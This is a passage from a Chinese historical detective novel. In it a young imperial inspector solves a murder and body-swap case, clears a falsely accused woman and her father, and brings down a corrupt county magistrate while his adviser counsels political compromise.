朱传宗道:“我们是来谈生意的,家眷还是不要见的好,那太失礼了。”
姓刘的汉子一听他这么说,反而放下心来,放下斧子,笑道:“客人来了,真是失礼啊!我让我老婆给你们倒茶。”
说着进里屋去了,一会儿一个女人出来了,给众人倒茶。
王大牛赞道:“果然好模样啊!”
朱传宗见这女人神色之间,有些难过,似乎心事忡忡,朱传宗丢了个眼色,房中席立刻看准个机会,一把擒住了姓刘的汉子,喝道:“这女人是怎么来的?是不是你抢来的?你是不是杀了人?”
那女子看见那人被抓住,哇地一声大哭起来,跪下道:“恩人啊,你们快救我吧!他杀了人,还逼我做他的媳妇。”
朱传宗问她名字,果然是张女。
姓刘的汉子束手被擒,叹道:“都怪我一时糊涂,杀了我叔叔,真是色迷心窍啊,要是我早有了一个媳妇,何苦会发生这种事情呢?没想到报应来的这么快!”
王大牛在旁边看呆了,道:“朱少爷,你真是衙门里的人啊,真是来破案的啊!好厉害。”
朱传宗道:“我们是衙门的。先把他们带回衙门,等慢慢审问。”
此刻案子虽然还没有全明了,但是朱传宗也猜测出了大半,便带两人回去。
他们一起先去王大牛家接岳可人一起回去。可是路上遇到的村民都在街上纷纷议论,有一个比天仙还美的狐狸精杀死了王老太太,淹死了康能。
一村民看见王大牛都指指点点,王大牛奇道:“你们在说什么新闻奇事?”
一个人道:“你还不快点回家,你母亲被人杀死啦!”
王大牛呆了,疯了一样向家里跑去。
朱传宗想起岳可人,心叫不好,对房中席道:“你看护好犯人,我先去了。”
也跟着跑去。
正向前跑的时候,忽听街上有人喊道:“闪开!闪开!县太爷来了。”
朱传宗抬头一看,只见衙役们把岳可人五花大绑捆着拉着在走。脑里嗡地一声,晓得不知道出了什么大事,连忙上前栏住轿子,道:“停下来,你们这是在干什么?”
朱传宗虽然换了装束,衙役却认得是巡按大人,连忙停了下来。岳可人看见朱传宗来了,想起倒霉居然遇到这样的案子,不由流泪。
周知县下了轿,道:“大人,您来的正好,发生了一件大案。两条人命啊!”
朱传宗闻言,道:“就算是有什么大案,为什么把岳姑娘绑起来?”
周知县道:“有人亲眼看见岳姑娘杀人,所以把她绑了。”
朱传宗道:“她是和我一起来的,量她不能害人,其中必有缘故。你先给她松绑,难道还怕她跑了不成?”
周知县笑道:“我知道岳姑娘是大人的红颜知己,一切好说。”
吩咐放了岳可人。
朱传宗在路上会上了房中席之后,一行人回了县衙。
到了县衙,周知县要升堂审案。
朱传宗道:“还是我来审案吧!我已经擒拿住了换尸案的主犯。几个案子我一并审理就是。”
周知县道:“大人果然厉害,可是这个岳可人和大人关系不同寻常,又是和大人一起的,按规矩可是要回避的。当然如果大人想要审案……”
沉吟下来,不再说话。
朱传宗道:“好,那这个案子你审吧!”
心中气恼,可是周知县说的冠冕堂皇,如果强要审案,他奏上一本,也是难办的事情。
这个时候吴思远得到消息,也已经赶了回来。
05-15
第六章 三日之期
周知县升堂审案,朱传宗和吴思远在旁边坐着观看。
周知县吩咐把证人们都带上来,这个时候王大牛也已经赶来了,哭得一塌糊涂,嘴里念叨着:“我可怜的的老娘啊!”
周知县首先询问王同,王同把看到的说了一遍。
周知县听完,吩咐道:“带犯女上堂。”
岳可人上堂,双膝跪倒,哭道:“大人啊!冤枉!”
周知县问道:“你这犯女家住哪里?姓什么?叫什么?去观水乡做什么?你害死两条人命,从实招来,免动刑拷问,受皮肉之苦。”
岳可人把名字,住所说了,看周知县的态度,似乎要让她牵扯上朱传宗朱大人,便只是哭啼,别的话便不说。
周知县把惊堂木一拍,道:“讲!你既然是县城里的一个姑娘,应该大门不出,在家好生呆着,怎么去观水乡?”
朱传宗见了这个事态,皱眉道:“是我去观水乡办案,因为不认得路,所以请她带路。”
周知县让文书记下了,然后笑道:“大人,这是公事,所以下官公事公办,请大人原谅。”
然后喝道:“岳可人,你既然和朱大人一起去办案,为什么无故杀人呢?说。”
岳可人含泪道:“朱大人因为要去擒拿犯人,所以让我在王老太太家等待。可是前来了一个歹徒,要我做他的媳妇。王老太太气脑打了他一下,他便杀死了老人家,扔在井里;我看他不防备,便把他推在井中。请大人明察。”
周知县心中暗想:“这女子乃是我的仇人,听她的话似乎不是假话,可是我若按实情不问她的罪,他父亲的案子我怎么摆脱?我从此丢官罢职还是小事,这个朱大人若是抓住我一个错处,必有性命之忧。不如将这两条命案推在她身上,朱大人必定求我,这样我的麻烦就消去了,真是两全其美。”
于是把惊堂木一拍,断喝道:“好个刁女,满口胡言!你上京越级告状,不遵本朝法令,已有前科,可是既然朝廷派钦差下来,本官也不该说什么!但是你恶习不改!又杀人害命,本官可不能饶你了。你既不肯招出实话,左右快给我动刑。”
衙役们敲打着杀威棒,一起恐吓。
朱传宗心知这个知县是个混蛋,不问青红皂白就动刑,是要故意整治岳可人,好消磨了他的案子。可是事情涉及到他,也不能亲自审案,心里气恼不已。
这个时候吴思远笑道:“知县大人,我看这个案子还是先不要审了,既然朱大人已经擒拿住了换尸案的犯人,不如先审那个案子,至于其余的案子,等知县大人和朱大人一起商议审案,你看可好?”
周知县是一地之官,混到这个地步,也是个精灵剔透之人,听吴思远话里的意思,是要和好的意思,怎么能不就坡下驴?忙到:“既然这样,也好。既然巡按大人亲自破了案,那么还是由大人来审理好了。”
然后一拍惊堂木,道:“这个案子既然是和前面的案子有关,那就先由前案开始审理,请巡按大人审理。”
然后含笑请朱传宗上座。
朱传宗不太明白吴思远的意思,心想:“难道真要饶了这个坏蛋,和他服软不成?这是什么世界啊?我一定不会认输的。”
不过先审理换尸案再说,慢慢想办法。
朱传宗上堂,吩咐把那个刘姓木匠和张女押上堂来。
朱传宗询问张女,张女哭泣着把遭遇说了一遍。原来她新婚那夜,因为新郎和她开玩笑,误点中了她的穴道,假死了过去,结果被葬在棺材里之后,半夜醒来,她大声喊叫,正巧被路过的姓刘的木匠叔侄两人听见了,就救了她出来。
年轻的木匠见她美貌,就想把她带回家成亲,可是他叔叔不答应,二人争吵起来,一怒之下,这个木匠就杀了他叔叔,并把尸体放入了棺材。
朱传宗听了,案情已经真相大白了,不过案子真是离奇,要不是亲耳听来,真是让人难以置信。
周知县也暗中佩服朱传宗能这么快破案。
那个姓刘的木匠叹道:“大人,这女子说的一切都是实情。怪我一时糊涂杀了我叔叔,真是良心难安。不过我终于尝到了女人的滋味,就算死了,也不枉这一生了。”
朱传宗道:“既然你认了罪,杀了人,也就是死罪了。”
让他签字画押,押了下去。
朱传宗让杨富春和杨开赴父子上前,对他们道:“既然案情已经真相大白了,你们可以洗清冤情了,只是这个张女,既然已经失贞,你们如何处置?”
杨开赴含泪道:“大人,这件事情小人也有错,多亏遇到了大人,破了这么离奇的案子,否则我们父子的性命都要丢掉了。这事情也不能怪我娘子,我情愿领回她,和以前一样做夫妻。”
杨富春也是点头称是。
朱传宗大喜,道:“你们还算是明白人,希望你们一家人和睦相处,本官祝福你们了。”
杨家一起跪谢朱传宗,称赞他断案如神,朱传宗吩咐衙役把他们带下去了。
朱传宗对周知县道:“你看这个案子这样破了,其中也有岳姑娘的功劳,她说的都是实情,她不会无缘无故杀人的,我看她的案子……”
周知县忙道:“大人,我看其中定有内情,可不是表面那么简单,为什么那个康能早不来晚不来,单等岳姑娘一来就来呢?是不是事先约好的呢?他们被老太太撞破奸情,这才杀人灭口。然后岳姑娘想嫁祸给康能,杀他灭口。”
朱传宗大怒,道:“你这是血口喷人,你这个混蛋……”
吴思远连忙拉住朱传宗,请他息努。
朱传宗和周知县正闹的不可开交的时候,忽听属下报道:“两位大人,知府大人来了。”
来的是路同府的知府伍正,知府是从四品官员,官位比朱传宗还高,虽然朱传宗是都察院的钦差,有监管和侦察所有官员的职责,但也不能处置比他大的官员,只能上奏而已。
路同府知府伍正没等二人迎接,就已经进来了,看见二人一副斗鸡的样子,大笑道:“本府来的正是时候啊!钦差大人怎么动怒啦!
朱传宗风闻这个知府伍正也是收受了周知县的贿赂,所以对岳一鸣的案子不闻不问,心中有气,他毕竟年轻没有经验,便冷哼了一声,也不答话。
伍正是老油条了,心里虽不高兴,但是面上却笑道:“周知县,你看你怎么把钦差给得罪啦!他气地这样啊!”
周崇圣道:“大人您来的正好,有个案子需要钦差大人回避,属下也是据理力争,为朝廷着想,不想钦差大人就生气了。”
伍正板下脸道:“原来这样啊!我看钦差大人可能一时情急,说话急躁,让你误会了他的意思,朱大人少年英才,不会做出违背我朝法令的事情。”
朱传宗此刻也醒过味来,知道在官场可不能由着性子,便道:“举贤不避亲,审案只要守法,就算亲属,也一样可以审案。再说这个女子和我没有瓜葛,我为什么就不能审这个案子呢?”
伍正一笑,道:“说的对极了。大人说的太好了,不愧是朝廷将要重用的人才啊!我特意从府里赶来,就是接到了朝廷的命令,请钦差立刻回京的。”
说完拿出公文。
朱传宗听了,一头雾水,不过也得跪下接令。
原来都察院下令,让朱传宗接到命令之后,三日之后启程回京师,另有重要事情任用,并且对他这一次的行程,给予了肯定,要回去嘉奖他。
朱传宗拿了公文,回到后堂,还没等问,吴思远便道:“这是周崇圣,伍正等人在京师疏通了的缘故。都察院被他们打通了关节,岳一鸣的案子不让你查啦!”
朱传宗大怒,把公文撕了,道:“难道我不远千里,来到这里就白来了吗?先生,我知道您一直以来都在教导我办案,可是现在还有三天我就要回京师了,您还不指点我破案吗?如果您没有办法,那我就算丢官坐牢,也要整治这个贪官。”
吴思远叹道:“我也低估了这个周崇圣的能量。没想到他在京师里也有人,在三天之内,要想破案也容易。可是知府大人来了,这个案子一定涉及到他,要想破案,必须要好好利用他,不能让他当绊脚石。”
朱传宗大喜,道:“原来先生有办法啊!快点告诉我,就算付出什么代价,我也愿意。”
吴思远微笑在他耳边低语起来。
再说路同府知府伍正和上庆县县令周崇圣在周崇圣的豪宅商谈,伍正端起茶来,慢慢喝了一口,才缓缓道:“崇圣兄,这次你惹的麻烦可是太大了,你也是一个八面玲珑的人,怎么这个朱传宗你就搞不定呢?他喜欢什么,你满足他就是了,搞得我央求布政使大人去京师活动,这可破费不小啊!”
周崇圣堆笑道:“小的明白,我知道上次给您的一万两银子不够,大人也添了不少的银子,我不会让大人白费心的。等大人走时,路费会给您筹备的。”
接着叹道:“朱传宗这小子坏死了,难怪京师里的人都说他天生是个阉人。我给他送钱他不要,古董玩物他都不要,女人的话,他是太监,更不能要了。他身边的那个师爷和护卫,更是一块木头一样,滴水不进盐酱。大人说我该怎么办?”
伍正叹道:“你啊!老糊涂了。既然他能对岳可人有意,难道就不能对别的女人上心吗?只要是人,就没有不贪财好色的,没有这样爱好,就有那样爱好。你别以为太监不爱女人,我告诉你,那是爱着呢!这个女人可是好东西啊!”
说完会心一笑。
周崇圣也跟着笑了起来,道:“大人说的对,说的太对了。这个女人的妙处啊!真是……怎么说呢?用书上的话,那是难以用笔墨形容。大人的见识真是高出崇圣太多啦!属下真是叹服啊!”
说完挤眉弄眼地道:“大人,今晚就请您尝一下翠红楼里红牡丹的滋味,保您满意。”
伍正道:“那可要见识一下了。”
二人哈哈大笑。
第二天一大早,朱传宗前来拜见伍正。伍正昨晚风流了一个晚上,虽然不情愿起来,但还是勉强起来接见朱传宗。
朱传宗一见他,便笑道:“晚生昨天真是太失礼了,伍大人就原谅我吧!我来上庆县这么久了,再过两天就要走了,可是寸功未立,真是汗颜,今天特地来请教大人,还请大人指点啊!”
伍正一听他自称晚生,便高兴了,心想:“这个瘟神终于服软了。可惜花了那么多的银子疏通了。”
不过也不是惋惜地时候,虽然还有三天,但还是早打法了这个瘟神为上,再说要是不好好招待,朱传宗父亲是当朝高官,正是用得上的,岂能不巴结呢?
伍正道:“年轻人,想做出一番事业是好事,但不能急功近利,从偏锋上走。我这可不是倚老卖老,这都是经验之谈啊!钦差大人这么年轻,家世又这么好,以后一定能飞黄腾达的,日后我还要仰仗钦差大人呢!这次钦差大人亲自破了换尸案,功劳不小啊!我一定会上本为你请功的。”
朱传宗道:“那可多谢了。可是岳姑娘被冤枉杀人的案子……”
伍正道:“只要岳一鸣的案子你不再查了,回去美言几句,我看这位岳姑娘的案子还是由你主审吧!你放心,我听周崇圣说了,岳一鸣这个人在监狱里态度很好,认识到了错误,鉴于他的表现,所以会给他减刑的。你就放心好了。当然了,周崇圣这人也有错误,对你态度非常不好,我会管教他的。我也准备了一些礼物,请大人带回京师,向令尊大人问好。”
朱传宗喜道:“岳姑娘被冤枉杀人的案子我来审吗?那太好了。知府大人放心,岳一鸣的案子我不再追究了。反正也没有什么线索,如果要是有证人的话,我倒可以审审,可是没有证人作证,我怎么审啊?”
二人一起大笑。
伍正笑道:“上庆县可没有什么刁民敢做伪证,钦差大人就放心回京师好了。”
二人虽然都在大笑,可是所笑的内容却大相径庭。伍正要是知道朱传宗笑什么,恐怕会哭出来。
伍正知会了周崇圣,然后升堂,二人做为陪审,请朱传宗主审。
朱传宗首先完结换尸案。他让杨富春和杨开赴等人上堂来,又问了一遍案情,然后把刘木匠押上来,刘木匠不想受刑,一心求死,对罪行供认不讳。
朱传宗让他们签字画押,然后让杨家父子带着张女回去了,判刘木匠死刑,秋后问斩。
这个案子审完之后,朱传宗开始审问岳可人的案子。
证人们把看见的事情都说了一遍,岳可人也详细解释了当时的情形。朱传宗对王大牛道:“你母亲是那个无赖康能杀死的。岳姑娘和我去查案,她一个姑娘家,断不会杀你母亲的。她智勇双全,为你母亲报仇,你应该感谢她才是。不知道你有什么异议吗?”
昨晚王大牛的邻居们听过事情的全部之后,都觉得岳可人说的合情合理。观水乡光棍多,女人少,时常发生一些强奸案,这都不稀奇。再说岳可人和巡按大人一起来的,没有一点杀一个老太太的道理,众人和王大牛议论过之后,王大牛虽然为人憨愣,但也不傻,晓得岳可人不是凶手。可是哭道:“我老娘死了,我以后可怎么办?”
他娘一直帮他一起做豆腐,现在老娘没了,他六魂无主起来。
众乡亲出主意道:“我看那个巡按大人和岳姑娘关系非同寻常,你就说想跟着巡按大人混口饭吃,他要不答应,你就不肯结案。他没法子,就会答应你了。你的生计岂不是解决了?”
王大牛听了乡亲们的话,听朱传宗问他,便哭丧着脸把乡亲们告诉他的话说了一遍。他性子耿直,把实话都说了出来,一点也不婉转,朱传宗听了哈哈大笑,道:“好啦!你跟着我就是。就是没有这个案子,我看你老实,又有蛮力,也想把你收在身边呢!”
王大牛大喜,急忙磕头。
周县令笑道:“恭喜大人啊!所有的案件都圆满结束了。大人这次来可算是大丰收啊!”
朱传宗笑道:“托福托福啊!”
伍正也笑道:“既然这样,案子全都完了,就退堂吧!朱大人,我们可要好好庆祝一番了,为钦差大人这次圆满地履行完公务,我们为你摆了壮行宴。”
朱传宗道:“且慢,似乎还有一件事情。”
伍正和周崇圣奇道:“还有什么事?”
吴思远站起,拱手道:“根据我们大梁律法,以仁孝治天下的祖例,县内但凡有奸淫不孝之人,身为一县之长的县令,必须革职。”
朱传宗面无表情,道:“换尸案的女子张女,被刘木匠奸淫,周知县身为一县之长,有失教化之责。来人啊!去了他的官服。”
朱传宗的几个属下上前摘了周崇圣的帽子。
伍正和周崇圣目瞪口呆。根据大梁律法,的确有吴思远说的那条。可是这条法律,其实是名存实亡的,和大梁律法的几乎所有律法一样,对于官员来说,大都是说说而已,或者只是纸上条文而已。从来没有人当真的。
在任何县,都有奸淫不孝的人,当初太祖皇帝制定这个法律,本以为通过严酷的法律,可以让官员们履行起他们的职责来。可是就算官员们真的是殚精竭虑,让几万人没有一个不孝和奸淫之人,也是不能做到的。所以这条法令,从颁布那天起,就没有真正实行过。当然,吏部审核官员,任免官员的部门,利用这点倒是捞了不少油水。但如果孝敬钱到了,没有一个人会用这条罢免官员的。
伍正最先醒过味来,他是官场老手,久经风雨,心中闪念极快,心想:“这些个高官子弟真不是个东西,周崇圣得罪了他,他一定要整治他才肯罢休。罢了,还是不要得罪他好了。等他走了,再起复周崇圣还不是一句话的事情?”
当下打了个哈哈,道:“不错,我粗心大意了。周县令,钦差大人说的没错,你已经当了两任知县了,应该多休息一下了。”
周崇圣带着哭腔道:“大人,我……”
伍正脸一沉,道:“你敢不遵命令吗?”
说完拉着朱传宗,回头对周崇圣道:“走吧!你罪有应得,钦差大人罢你的官,已经是轻饶了你,等下酒席上你可要好好的敬大人几杯。”
伍正在宴席上极力称赞朱传宗,极尽拉拢之能事,周崇圣委曲求全,只能也哭丧着脸陪酒。
朱传宗索性放开吃喝起来,心里却冷笑:“你们以为没事了吗?等看明天的笑话吧!”
宴罢之后,周崇圣少不了对伍正抱委屈,伍正道:“你抱怨什么?等这事完了,我会保举你的。”
周崇圣一片乌云去了,这才开心起来。少不了又请了几个名妓前来服侍知府大人。
哪知道第二天,伍正就在香喷喷的被中被叫醒。原来周崇圣的师爷赶来禀告,朱传宗散布了告示,罢免了周崇圣,让有冤情的人指正周崇圣,期限只有两日,过期不候。
老百姓们听了炸开了锅,纷纷告状,如今周崇圣已经被拿,正在审判呢!
伍正脑里嗡地一声,急忙去大堂听案,到了现场,朱传宗见他来了,微笑起身示意,让人搬了凳子给他,然后继续审案。
几个百姓哭着诉说周崇圣怎么霸占了他们的土地,盖了华宅的事情,还有人控告他强夺民女,霸占为第九小妾。
朱传宗愤怒不已,追问周崇圣有多少了小妾,周崇圣吞吞吐吐,开始说是十个,最后竟然承认是十四个。最小的小妾竟然只有十三岁。
朱传宗大怒,喝道:“周崇圣,你祸害百姓,亏得是一方父母官呢!真是丢我们大梁朝的脸,先给我打二十大板。”
原先衙门里的衙役不敢动刑,可是朱传宗带来的人可不管这些,一阵板子下来,周崇圣已经屁滚尿流了,昏了过去。
伍正看不下去,一脸铁青,道:“朱大人,刑不上大夫。念在一朝为官的面子上,还是要留着些体面才好啊!”
朱传宗道:“那好,暂且收监,下午再审。”
一声退堂,向伍正拱手示意,便去了。
伍正从来没有在官场见过这样的人,一点情面不给,气地干瞪眼。可是这个周崇圣和他关系甚大,又不能不救,真是着急的不得了,等师爷提醒,才派人赶紧快马把这事报给布政使。布政使是一省的最高官员,从二品大员,他所辖的省里要是出了大案,他也要受牵连的。
到了下午,更多上庆县的百姓得到了周崇圣被下狱毒打的事情,那些原来胆小的人也纷纷前来告状。
周崇圣谋夺别人的家产,纵容亲属横行霸道的众多事情都被曝光。朱传宗听了,派人把周崇圣家抄了,在百姓的举报下,一共查抄了周崇圣七八处的家,粗粗算来,竟然没收了大约百万两银子。
朱传宗对伍正道:“上庆县是贫穷县,每年朝廷拨下来不少银子。我说怎么都不见了呢!原来都进了这周崇圣的腰包。”
伍正已经毫无人色了,低声道:“我属下有这样的贪官,我却毫不知情,我一定会上奏折,申请处分的。”
朱传宗讽刺地道:“那最好了。知府大人既然不知情,也就不是同流合污,那所犯的罪名也就不重……”
伍正道:“是,是。钦差明鉴,我的确是被这个混蛋蒙蔽了,多亏了大人前来视察,这次发现了这头豺狼,大人上奏折的时候,还请笔下留情啊!”
朱传宗一笑,道:“我也不是个不识时务的人,只要知府大人和我合作,我也不想赶尽杀绝。”
心想:“暂且稳住他再说。”
伍正听了,忙堆笑道:“明白,我明白,钦差大人但有吩咐,我无不照办。”
第七章 水落石出
第二天朱传宗继续审理周崇圣的案子,前来伸冤告状的百姓越来越多,涉及的案子也越来越大。
朱传宗以前没经过什么事情,没有比较,他不晓得这个案子有多么重大。要知道一个县令,抄家被抄到近百万两银子,可算是开国以来大梁国的最重大的案子了。这倒不是别的官员贪污的银子比周崇圣少,而是从来没有像周崇圣这样没有一点征兆,没有一点准备就抄家的,也没有像朱传宗这样一点情面也不给的。
周崇圣在上庆县霸占土地,草菅人命,欺男霸女,真是无恶不作。告状的人哭天抢地,有老有少,有男有女。
朱传宗越听越生气,吩咐把周崇圣押上来,拍着惊堂木大骂他无耻,周崇圣原来还报着一丝希望,以为伍正一定会找人疏通,来搭救他,就算丢官,断不会危及性命,可是见朱传宗动真格的了,也没见人来救他,心里害怕,到了这个时刻,也顾不得别的了,大喊道:“冤枉啊!钦差大人,您饶了我,我有冤情啊!我也是迫不得已啊!大人您是为了岳一鸣的案子来的,我知道错了。我早知道岳一鸣没杀人,可是案子也涉及到知府伍正,岳一鸣家的财产他也得了一份。”
吴思远正在做记录,听到这里,道:“你胡说,知府大人怎么会和岳一鸣案子有关联呢?你家抄出来几十万两的金银财宝,这也是知府大人让你贪的?”
周崇圣见事情闹大了,左右是死,横竖躲不过去了,临死也要拉几个垫背的,喊道:“伍正也不是好东西,他贪的比我多,听说钦差大人这次来,我送了他五万量银子请他摆平呢!他说这些银子送给了布政使郑文荣,他一文没得,这还不算,哪年我不孝敬他个几万两银子啊!大人如果不信,可以去抄他的家。我许多家产都是他挂在我名下的啊!否则我哪里能有这么多钱呢?”
吴思远把他的话记下来,对一脸兴奋的朱传宗道:“大人,还是先退堂吧!”
朱传宗道:“干什么?正紧要的时候……”
吴思远眉头一皱,连使眼色,朱传宗被吴思远的学问和博学所折服,一直都是言听计从的,见他头一次这么着急的样子,心里虽然不情愿,但还是退堂了。
到了后堂,朱传宗兴奋地搓着手,道:“江淮省这么黑暗,我可逮到大鱼了。要是奏到皇上那里,嘿嘿,我可是立大功了。”
吴思远冷笑道:“小心捞鱼不成反被大鱼弄翻了船。还有两天我们就要走了,这个案子到此为止,既然周崇圣的口供涉及到伍正,伍正必定对你言听计从,如果你把他从这个案子摘除了,他对你感激不尽,必定上奏折保举你的功劳的。”
朱传宗道:“可他也是个贪官,我为什么不继续审理下去?奏请皇上,然后把他也拿了呢?布政使郑文荣为一省大员,也和他们有干系,正好一起调查,还江淮省一片蓝天。”
吴思远道:“如果我没猜错的话,此刻布政使郑文荣可能已经得到了消息了,后天晚上他就能来。你的官职没他大,再说他的根基很深,皇上也很重视他,你搬不倒他的。如果你卖个人情,对你以后的仕途有好处,你能力大了,能为百姓做更大的贡献。如果贪图一时的痛快,是成不了大事的。”
朱传宗咬牙道:“难道就放了别的贪官不成?我看先生太胆小了。邪不胜正,我不相信天下没有正义可言!”
吴思远一字一顿地道:“你动静闹的也够大了。这个案子一报上去,伍正的知府是不能当了,布政使郑文荣也得受处分。这还不够吗?你以为只有江淮省这么腐败吗?其实哪个省都这样,没揭开锅,要是揭开了,都是锅底黑。皇上有他的想法,你未必了解。你初入官场,就如此张扬,恐怕不行!”
朱传宗想了半晌,心想:“对于人间的事情,我还不了解。还是先听吴先生的。以后不怕没机会收拾这些贪官。”
便道:“好,我听先生的。我发觉我根本许多的东西都不懂,这些事情都是我从来没有想过的,遇过的,老百姓活得这么辛苦,我现在才知道的这么深刻。”
吴思远本来想说:“你所见的算什么?更悲惨的你都没见过呢!”
但是忍住了,道:“你看观水乡穷的都吃不上饭,娶不上媳妇,所以才容易发生奸淫盗窃,要是当官的能给百姓一丝的活路,断不会发生那么多案子的。”
朱传宗道:“是啊!老百姓他们一个媳妇都娶不上,我家漂亮的女孩子多的是,都可以给我当老婆当小妾的,还有这个混蛋周崇圣,名字怪好的,崇拜圣人,可是老婆十几个,背地里还不知道有多少呢!真是岂有此理!”
吴思远见他把自己也绕上了,不由一笑,想起听说他是太监的事情,心里为他悲叹,心想:“这孩子有股正气,非一般人可比,可惜了。”
吴思远看破世事,是一个心如止水之人,慨叹了一下,便办正事,道:“没收了这么多的钱财,全报上去皇上一定会震怒,不如把这些银子的一部分,赔给那些被周崇圣祸害的百姓。伍正一定愿意的。两天之后,剩下的小案子,就让伍正处理好了。这是御人之道,他生死在你手里,能不好好办差事吗?否则你滞留这里,也不是个事。你就算扳倒他了,再来一个新官,只认钱,不办事,倒不好了。”
朱传宗经验非常浅薄,听了吴思远的话只觉得匪夷所思,但似乎又合情合理,不由连连点头。
朱传宗没等去找伍正,伍正早就急得火上房似地前来巴结他,他派人送了许多的礼物给小郁和暖云,二女没有朱传宗的话,都坚决不要。吴思远见了,让她们收下,这才要了。
而岳可人更是倍加的受巴结,伍正看她是朱传宗身边第一紧要人儿,请她夫人拜访岳可人,要收她做干女儿。
岳可人坚决拒绝了,道:“夫人如此瞧得起我,可是我一个草民,万不敢如此高攀的。夫人如果有什么要帮忙的,我一定尽力就是。至于高攀,那万万不可。”
伍正的夫人无奈去后,岳可人去见朱传宗,正在说刚才的事情的时候,伍正前来拜访。
朱传宗让岳可人避开,出门迎接伍正。在门口就遇到了他。
朱传宗道:“失礼,失礼。未能远迎。”
伍正早笑道:“大人不必客气。大人劳苦功高,应该休息才是,我这个时候来,打扰了啊!”
朱传宗道:“我年纪轻,多做些事情也是应该的。”
二人落座,伍正旁敲侧击,探听朱传宗口风。
朱传宗皱着眉头,把周崇圣的口供给他看。
伍正虽然早就听了到消息,可是此刻一看,只见上面是周崇圣攀咬他的口供,还是吓得普通一声从椅子上滑了下来,还不忘辨道:“朱大人,这可是他狗急跳墙,胡说的啊!”
朱传宗心想:“看你平时道貌岸然,遇到事情还不是吓得这样。”
扶起他道:“我知道,周崇圣罪大恶极,他想把责任都推到大人身上,这真是居心不良。你看该怎么办呢?”
伍正咬牙道:“这个家伙犯了这么多的罪,决不能姑息,应该处以绞刑。”
朱传宗道:“我也这么想的。”
伍正大喜,道:“钦差大人果然少年英才,难怪朝廷派你下来。大人英明果断,我一定会上奏折为大人请功的。我已经把周崇圣的案子报告给了布政使郑文荣大人,他过两日就能到。大人为我们江淮省查出了这么一条大蛀虫,郑大人一定会感激不尽的。”
朱传宗心里暗叹吴思远算无遗策,道:“我只是尽了一分绵薄之力,希望天下能公正和平,可是那些被周崇圣迫害的告状人怎么办?”
伍正堆笑道:“大人,不如把周崇圣的财产赔他们一部分,这些本来就是百姓的,也算完璧归赵了。而且周崇圣的财产真的如实上报给朝廷,也不好看,于朝廷的脸面上也过不去。”
朱传宗惊讶地道:“吴先生和你说的一样!他怎么料到的?”
伍正恭维地道:“大人有个好师爷啊!真是良禽择木而栖啊!”
朱传宗发觉说漏了嘴,便不说了,道:“都按你说的办。不过这些百姓的案子,你都要尽心去办。我把事情交给你。本来我可以申请多留几日继续审案,可是既然涉及到你……”
伍正心里欢喜的开了花一样,忙不迭道:“大人尽管走,我都明白。您的恩情我决不会忘记。岳姑娘本来我夫人想收她为义女,可是她死活不肯,大人劝劝她吧!将来她出嫁,嫁妆我是少不了她的。”
说完哈哈大笑。
朱传宗心里佩服他会来事,送礼的技巧真是太高明了,道:“她脾气倔强的很,我试一试吧!”
其实他根本没打算说,心想:“以后有机会,早晚收拾了你这个贪官。你的钱我才不要呢!”
伍正见他懒散起来,知道他不耐烦了,来的目的达到了,便拿出帖子,道:“这些是当地的特产,都是不值钱的东西,请大人收下。”
说完便告辞去了。
朱传宗来不及说不收,伍正就走了。吴思远和岳可人出来。朱传宗道:“这家伙心虚,送了这么多的礼物,我派人都送回去吧!”
对岳可人道:“你看这些官,多腐败。难怪你父亲蒙冤,他们眼里只认钱啊!说什么清如水,明如镜,都是嘴上说的假话。”
吴思远却道:“慢着,你收下吧!难道你想当清官吗?”
朱传宗奇道:“这话奇怪,难道我不能当清官吗?”
吴思远冷笑道:“可以,不过你要祸国殃民,我也不拦你。”
朱传宗嗫嚅道:“我不是听错了吧?”
吴思远道:“如今的大粱国,没有不贪的官,你要当清官,还能当下去吗?而且就算能当下去了,别人都防着你,你说正经事你能办成吗?你本来有机会能为百姓做出一番大事业,可是你浪费了机会,这不是祸国殃民吗?”
朱传宗聪明透顶,一听就明白了,叹道:“听先生的话,真是振聋发馈,我读书不少,但怎么都没看见这样的道理的?这次出京,我发觉很多事情都不是我想象的那样。先生说收下就收下吧!我家钱财不缺,这些东西先生和岳姑娘分了吧!”
吴思远笑了,道:“钱可是个好东西啊!”
第二日,朱传宗腾出空来审理岳一鸣的案子,那些证人一上堂来,根本不用审,一个个便忙着为岳一鸣喊冤,自请处罚,说他们是被逼迫的,在青天大老爷的威严下,终于得见天日,免得以后受良心的谴责等等,那些医院的医生,也哭着求饶,说不该作假证,说岳夫人是疯子。
朱传宗冷笑道:“你们还有医生的良心没有?谁有权有势你们就帮着谁?”
本想把他们全部都判刑三年,医生也永远不能再当了,丢了饭碗,可是吴思远却道:“大人心地仁慈,还是饶了他们吧!他们是被逼的,也算情有可原。”
朱传宗皱眉道:“既然如此,那该如何?”
吴思远笑道:“放了就是。”
那些做假证的人听了,都欢呼起来,称颂朱传宗不已。
岳一鸣被宣判无罪,岳可人和岳一鸣抱头痛哭,留着喜悦的泪水,其余做伪证的人都不追究了,朱传宗在满堂喜庆和称颂下退堂了。
吴思远跟着朱传宗到后堂,笑道:“少爷有些不高兴吧?”
朱传宗听了,正好借这个话题发起火来,道:“如今我好不容易把案子破了。这些做伪证的混蛋为什么要放了?那些百姓就罢了,都是被逼迫的,我能够理解。可是那些管理户籍的文书,医院的医生,为什么放了他们?这不是纵容这些人犯错吗?”
吴思远摸着胡子笑了,道:“少爷是一个有涵养的人,到了后堂才问我。的确你说的有道理,但那是表象。这些人也都是有家有口的,能饶人处就饶了他们。严酷的制裁,是没有任何作用的。”
朱传宗不高兴地道:“这点我不同意,只有对犯罪的人加大惩罚的力量,才能让人害怕,更好的让社会公正。”
吴思远道:“似乎有些道理,但我不认同,我不和你争,有些事情是要经过许多事情才能弄懂的。希望少爷多加留心,看看日后你的想法会不会改变。”
朱传宗道:“那走着瞧好啦!”
吴思远微笑着告退了。
小郁和暖云端茶进来,小郁看他脸色难看,道:“案子不是破了吗?你怎么不高兴呢?”
朱传宗怒道:“吴思远是个混蛋,让我不能把那些坏人绳之以法,难怪我们大梁国法律实行不下去,都是他这样的人给弄的。”
暖云听了,安慰他道:“吴先生是一个博学之人,他的想法比我们都高出很多,我听外面许多人都提起他,佩服的不得了。可能你还不了解他的想法吧!不如问问他?”
朱传宗怒道:“他要是说了,我不就懂了?可他的意思是我还小,什么都没有经历过,什么都没有见过,就是讲给我听,我也不懂,你说他这是不是侮辱人?”
小郁道:“见识少有什么丢人的?你年纪不大,用心学习就是。只有不肯努力的人才是可耻的。”
朱传宗道:“我不跟你们说话了,总是帮着他。我还是你们的少爷吗?”
